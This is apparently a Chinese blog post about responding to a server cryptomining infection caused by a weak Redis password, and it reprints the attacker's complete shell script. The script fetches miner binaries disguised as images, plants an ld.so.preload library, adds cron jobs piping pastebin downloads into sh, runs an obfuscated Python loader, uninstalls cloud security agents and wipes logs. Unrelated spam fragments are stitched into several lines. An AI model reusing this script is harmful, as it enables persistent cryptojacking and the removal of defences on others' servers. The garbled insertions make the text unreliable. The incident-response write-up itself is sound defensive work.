这个是笔者前些天帮助朋友处理的挖矿的程序脚本，本次没有写具体处理⽅式，写的处理过程的思路和⽅法，如果你有好的⽅法可以⼀起分享学习，Thankyou！
⾁鸡弱⼝令 webshell xss 软件漏洞bug redis zk mysql 0day等造成服务器被扫描并且提权
2 ⾸先遇到这样情况，我们杀掉挖矿的程序它会⾃⼰起来
3.如何处理?
⾸先根据业务判定，造成业务故障，可选⽤HA⽅案切⾛应⽤服务，对服务器进⾏下架切断⼀切⽹络来源，进⾏相关处理北京高校对超期学生发逾期警告
我⼀般处理⽅案是这样,⾸先通过iptables或者firewalls防⽕墙⼿段封死攻击者地址，类似与切断⽹络来源，接下来我们就可以进⾏分析和处理挖矿的原因
处理的⽅式可以根据挖矿脚本进⾏分析⼀个⼀个进⾏处理对修改的命令和⽂件进⾏恢复和删除
对系统和web进⾏安全测试，对系统漏洞进⾏修复.
4.原因分析
Redis存在弱⼝令导致的此次故障问题，Redis可以通过config配置⽅式修改配置⽬录将⾃⼰的key放在服务器上，以达到服务器提权的⽬的
1 #!/bin/bash
2 SHELL=/bin/sh
3 PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
4
5function kills() {
6 pkill -f sourplum
7 pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
8rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
9rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
10rm -rf /tmp/*index_bak*
11rm -rf /tmp/*f*
12rm -rf /tmp/*f
13rm -rf /tmp/a7b104c270
14ps auxf|grep -v grep|grep "pool"|awk '{print $2}'|xargs kill -9
15ps auxf|grep -v grep|grep "pto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
16ps auxf|grep -v grep|grep "pto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
17ps auxf|grep -v grep|grep "monerohash"|awk '{print $2}'|xargs kill -9
18ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
19ps auxf|grep -v grep|grep "pto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
20ps auxf|grep -v grep|grep "pto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
21ps auxf|grep -v grep|grep "pto-pool.fr:443"|awk '{print $2}'|xargs kill -9
22ps auxf|grep -v grep|grep "stratum.f2pool:8888"|awk '{print $2}'|xargs kill -9
23ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
24ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
25ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
26ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
27ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
28ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
29ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
30ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
31ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
32pkill -f biosetjenkins
33pkill -f AnXqV.yam
34pkill -f xmrigDaemon
35pkill -f xmrigMiner
36pkill -f xmrig
37pkill -f Loopback
38pkill -f apaceha
39pkill -f cryptonight
40pkill -f stratum
41pkill -f mixnerdx
42pkill -f performedl
43pkill -f JnKihGjn
44pkill -f irqba2anc1
45pkill -f irqba5xnc1
46pkill -f irqbnc1
47pkill -f ir29xc1
48pkill -f conns
49pkill -f irqbalance
50pkill -f crypto-pool
51pkill -f minexmr
52pkill -f XJnRj
53pkill -f NXLAi
54pkill -f BI5zj
55pkill -f askdljlqw
56pkill -f minerd
57pkill -f minergate
58pkill -f Guard.sh
59pkill -f ysaydh
60pkill -f bonns
61pkill -f donns
62pkill -f kxjd
63pkill -f Duck.sh
64pkill -f bonn.sh
65pkill -f conn.sh
66pkill -f kworker34
67pkill -f kw.sh
68pkill -f pro.sh
69pkill -f polkitd
70pkill -f acpid
71pkill -f icb5o
72pkill -f nopxi
73pkill -f irqbalanc1
74pkill -f minerd
75pkill -f i586
76pkill -f gddr
77pkill -f mstxmr
78pkill -f ddg.2011
79pkill -f wnTKYg
80pkill -f deamon
81pkill -f disk_genius
82pkill -f sourplum
83pkill -f bashx
84pkill -f bashg
85pkill -f bashe
86pkill -f bashf
87pkill -f bashh
88pkill -f XbashY
89pkill -f libapache
90pkill -f qW3xT.2
91pkill -f /usr/bin/.sshd
92pkill -f sustes
93rm -rf /var/tmp/j*
94rm -rf /tmp/j*
95rm -rf /var/tmp/java
96rm -rf /tmp/java
97rm -rf /var/tmp/java2
98rm -rf /tmp/java2
99rm -rf /var/tmp/java*
100rm -rf /tmp/java*
101rm -rf /f
102rm -rf /tmp/conn
103rm -rf /tmp/root.sh / /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
104rm -rf /tmp/conns
105rm -f /tmp/irq.sh
106rm -f /tmp/irqbalanc1
107rm -f /tmp/irq
108rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
109rm -rf /tmp/.systemd-private-*
110netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
111netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
112netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
113netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
114netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
115netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
116netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
117netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
118netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
119netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
天黑请闭眼 电影120netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
121netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
122p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
123if [ ${p} -eq 0 ];then
124 ps auxf|grep -v grep | awk '{if($3>=90.0) print $2}'| xargs kill -9
125 netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
126fi
127}
128
129function system() {
130 if [ ! -f "/bin/dns" ]; then
131 curl -fsSL pastebin/raw/KqzUfgz0 -o /bin/dns && chmod 755 /bin/dns
132 if [ ! -f "/bin/dns" ]; then
133 wget pastebin/raw/KqzUfgz0 -O /bin/dns && chmod 755 /bin/dns
134 fi
135 if [ ! -f "/etc/crontab" ]; then
136 echo -e "0 1 * * * root dns" >> /etc/crontab
137 else
138 sed -i '$d' /etc/crontab && echo -e "0 1 * * * root dns" >> /etc/crontab
139 fi
140 fi
141}
142
143function top() {
小桥流水人家教学设计144 mkdir -p /usr/local/lib/
145 if [ ! -f "/usr/local/lib/libdns.so" ]; then
146 curl -fsSL monero.minerxmr.ru/1/1535595427x-1404817712.jpg -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
147 if [ ! -f "/usr/local/lib/libdns.so" ]; then
148 wget monero.minerxmr.ru/1/1535595427x-1404817712.jpg -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
149 fi
150 fi
151 if [ ! -f "/etc/ld.so.preload" ]; then
152 echo /usr/local/lib/libdns.so > /etc/ld.so.preload
153 else
154 sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libdns.so >> /etc/ld.so.preload
155 fi
156
157 touch -acmr /bin/sh /etc/ld.so.preload
158 touch -acmr /bin/sh /usr/local/lib/libdns.so
159}
160
161function python() {
162 nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp 163 touch /tmp/.tmpp
164}
职业选择理论
165
166function echocron() {
167 echo -e "*/10 * * * * root (curl -fsSL pastebin/raw/cAfrnxHu||wget -q -O- pastebin/raw/cAfrnxHu)|sh\n##" > /etc/cron.d/root
168echo -e "*/17 * * * * root (curl -fsSL pastebin/raw/cAfrnxHu||wget -q -O- pastebin/raw/cAfrnxHu)|sh\n##" > /etc/cron.d/apache
169echo -e "*/23 * * * * (curl -fsSL pastebin/raw/cAfrnxHu||wget -q -O- pastebin/raw/cAfrnxHu)|sh\n##" > /var/spool/cron/root
170mkdir -p /var/spool/cron/crontabs
171echo -e "*/31 * * * * (curl -fsSL pastebin/raw/cAfrnxHu||wget -q -O- pastebin/raw/cAfrnxHu)|sh\n##" > /var/spool/cron/crontabs/root 172mkdir -p /etc/cron.hourly
173 curl -fsSL pastebin/raw/cAfrnxHu -o /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
174if [ ! -f "/etc/cron.hourly/oanacroner" ]; then
175wget pastebin/raw/cAfrnxHu -O /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
176fi氟醇
177mkdir -p /etc/cron.daily
178 curl -fsSL pastebin/raw/cAfrnxHu -o /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
179if [ ! -f "/etc/cron.daily/oanacroner" ]; then
180wget pastebin/raw/cAfrnxHu -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
181fi
182mkdir -p /hly
183 curl -fsSL pastebin/raw/cAfrnxHu -o /hly/oanacroner && chmod 755 /hly/oanacroner
184if [ ! -f "/hly/oanacroner" ]; then
185wget pastebin/raw/cAfrnxHu -O /hly/oanacroner && chmod 755 /hly/oanacroner
186fi
187touch -acmr /bin/sh /var/spool/cron/root
188touch -acmr /bin/sh /var/spool/cron/crontabs/root
189touch -acmr /bin/sh /etc/cron.d/apache
190touch -acmr /bin/sh /etc/cron.d/root
191touch -acmr /bin/sh /etc/cron.hourly/oanacroner
192touch -acmr /bin/sh /etc/cron.daily/oanacroner
193touch -acmr /bin/sh /hly/oanacroner
194 }
195
196function tables() {
197 iptables -I INPUT -p TCP --dport 6379 -j REJECT
198 iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT
199 iptables-save
200touch /tmp/.tables
201 }
202
203function uninstall() {
204if ps aux | grep -i '[a]liyun'; then
205wget update.aegis.aliyun/download/uninstall.sh
206chmod +x uninstall.sh
207 ./uninstall.sh
208wget update.aegis.aliyun/download/quartz_uninstall.sh
209chmod +x quartz_uninstall.sh
210 ./quartz_uninstall.sh
211rm -f uninstall.sh quartz_uninstall.sh
212 pkill aliyun-service
213rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
214rm -rf /usr/local/aegis*;
215elif ps aux | grep -i '[y]unjing'; then
216 /usr/local/qcloud/stargate/admin/uninstall.sh
217 /usr/local/qcloud/YunJing/uninst.sh
218 /usr/local/qcloud/monitor/barad/admin/uninstall.sh
门事件
219fi
220touch /tmp/.uninstall
221 }
222
223function downloadrun() {
224ps=$(netstat -anp | grep167.99.8 | wc -l)
225if [ ${ps} -eq 0 ];then
226if [ ! -f "/tmp/kworkerds" ]; then
227 curl -fsSL --connect-timeout 120 monero.minerxmr.ru/1/1538099276x-1404792622.jpg -o /tmp/kworkerds && chmod +x /tmp/kworkerds
228if [ ! -f "/tmp/kworkerds" ]; then
229wget monero.minerxmr.ru/1/1538099276x-1404792622.jpg -O /tmp/kworkerds && chmod +x /tmp/kworkerds
230fi
231 nohup /tmp/kworkerds >/dev/null2>&1 &
232else
233 nohup /tmp/kworkerds >/dev/null2>&1 &
234fi
235fi
236 }
237
238function downloadrunxm() {
239mkdir -p /var/tmp
240chmod1777 /var/tmp
241 pm=$(netstat -anp | grep167.99.8 | wc -l)
242if [ ${pm} -eq 0 ];then
243rm -rf /var/tmp/config.json*
244 curl -fsSL --connect-timeout 120 monero.minerxmr.ru/007/008/1534496022x-1404764583.jpg -o /var/tmp/config.json && chmod +x /var/tmp/config.json 245if [ ! -f "/var/tmp/config.json" ]; then
246wget monero.minerxmr.ru/007/008/1534496022x-1404764583.jpg -O /var/tmp/config.json && chmod +x /var/tmp/config.json
247fi
248 ARCH=$(uname -i)
249if [ "$ARCH" == "x86_64" ]; then
250rm -rf /var/tmp/kworkerds*
251 curl -fsSL --connect-timeout 120 monero.minerxmr.ru/1/1537410304x-1404764882.
jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds 252if [ ! -f "/var/tmp/kworkerds" ]; then
253wget monero.minerxmr.ru/1/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
254fi
255 nohup /var/tmp/kworkerds >/dev/null2>&1 &
256elif [ "$ARCH" == "i386" ]; then
257rm -rf /var/tmp/kworkerds*
258 curl -fsSL --connect-timeout 120 monero.minerxmr.ru/1/1537410750x-1566657908.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
259if [ ! -f "/var/tmp/kworkerds" ]; then
260wget monero.minerxmr.ru/1/1537410750x-1566657908.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
261fi
262 nohup /var/tmp/kworkerds >/dev/null2>&1 &
263else
264rm -rf /var/tmp/kworkerds*
265 curl -fsSL --connect-timeout 120 monero.minerxmr.ru/1/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds 266if [ ! -f "/var/tmp/kworkerds" ]; then
267wget monero.minerxmr.ru/1/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
268fi
269 nohup /var/tmp/kworkerds >/dev/null2>&1 &
270fi
271fi
272 }
273
274mkdir -p /tmp
275chmod1777 /tmp
276 update=$( curl -fsSL --connect-timeout 120 pastebin/raw/SGM25Vs3 )
277if [ ${update}x = "update"x ];then
278 echocron
279else
280if [ ! -f "/tmp/.uninstall" ]; then
281 uninstall
282fi
283if [ ! -f "/tmp/.tables" ]; then
284 tables
285fi
286if [ ! -f "/tmp/.tmpu" ]; then
287rm -rf /tmp/.tmpp
288 python
289fi
290 kills
291 downloadrun
292 echocron
293 system
294 top
295sleep10
296 port=$(netstat -anp | grep167.99.8 | wc -l)
297if [ ${port} -eq 0 ];then
298 downloadrunxm
299fi
300echo0>/var/spool/mail/root
301echo0>/var/log/wtmp
302echo0>/var/log/secure
303echo0>/var/log/cron
304 curl -sk /11Grb
305fi
306 #
豫公网安备41160202000603
站长QQ:729038198
关于我们
投诉建议